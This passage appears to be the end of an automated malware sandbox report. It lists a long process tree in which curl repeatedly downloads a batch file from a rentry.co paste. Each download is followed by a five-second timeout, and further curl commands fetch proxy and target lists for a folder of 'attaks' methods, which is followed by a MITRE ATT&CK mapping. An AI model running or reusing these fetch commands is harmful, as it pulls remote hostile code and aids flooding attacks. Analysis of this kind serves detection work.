        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3976
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4428
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:448
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2172
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1160
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1664
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1760
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2672
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3744
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1788
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1472
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4900
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4820
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:612
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4432
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1688
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1920
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1684
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4320
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:404
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1204
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5084
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3604
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1932
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3868
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3708
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2064
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4780
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3612
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3024
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3336
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1120
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1232
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4164
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2368
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3160
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3772
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2120
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4816
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2804
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1456
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1916
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3440
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3704
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1012
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4008
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4516
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1452
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4136
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1328
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3552
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3528
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1076
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4544
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1324
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5028
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4616
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4996
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:900
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2132
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2600
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1708
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4268
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4392
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4588
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2276
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4960
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1956
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1348
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1772
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3044
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2256
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:868
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5000
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4128
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4032
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2672
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3744
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3460
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1684
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2868
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:636
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1204
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4504
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1164
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4580
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:412
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4188
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:912
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4156
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1820
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4276
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4160
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3308
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4676
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1308
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2144
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4136
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1328
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4844
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3808
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1976
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1324
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1216
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4312
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2600
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1708
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2260
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3244
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1316
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4632
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2532
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1668
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4588
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2276
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4216
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1356
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2420
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4416
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:392
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1760
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1004
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2168
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2672
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2812
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2100
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1312
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2888
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2452
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1252
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3020
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3876
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3908
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1076
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:384
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3884
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4356
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3104
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1324
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3092
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3724
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1908
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2228
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3324
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4696
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4768
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4288
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4108
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1232
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1208
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4476
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2644
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1348
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3432
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4348
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:436
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4428
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4400
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2420
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2036
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4592
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1932
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4444
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:228
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:756
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4424
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4664
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:372
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4032
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3264
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2672
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4896
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:960
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2216
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3460
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3996
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5044
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4000
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:796
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4380
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1796
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4468
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1616
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3964
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4220
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1252
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4988
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3948
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3612
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1092
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4460
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3440
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3512
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1180
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1944
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2060
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1480
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1860
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2032
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2840
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3904
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3876
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4516
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4936
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4484
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3884
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4356
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1244
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5004
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4312
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:944
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3544
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4316
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4908
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3468
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1100
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3112
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2416
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4392
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4472
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4596
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1916
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3696
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3780
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4108
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3520
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3344
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2276
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:216
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1156
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1692
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5108
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4992
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4824
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4464
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:448
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4088
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2148
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:320
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3956
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3188
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1048
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5000
- - C:\Windows\system32\curl.exe
    curl -s -o C:\Users\Admin\Desktop\attaks\methods\list.txt https://rentry.co/httpslist/raw
    3⤵
    PID:3656
- - C:\Windows\system32\curl.exe
    curl -s -o C:\Users\Admin\Desktop\attaks\methods\tlsv\proxy.txt https://rentry.co/httpsproxy/raw
    3⤵
    PID:4948
- - C:\Windows\system32\curl.exe
    curl -s -o C:\Users\Admin\Desktop\attaks\methods\http.txt https://rentry.co/httpsproxy/raw
    3⤵
    PID:4496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\6997.tmp\69A8.tmp\69A9.bat

Filesize
1KB

MD5
